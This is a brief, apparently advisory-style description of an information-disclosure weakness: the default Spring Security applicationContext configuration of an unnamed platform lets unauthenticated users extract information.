The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.',
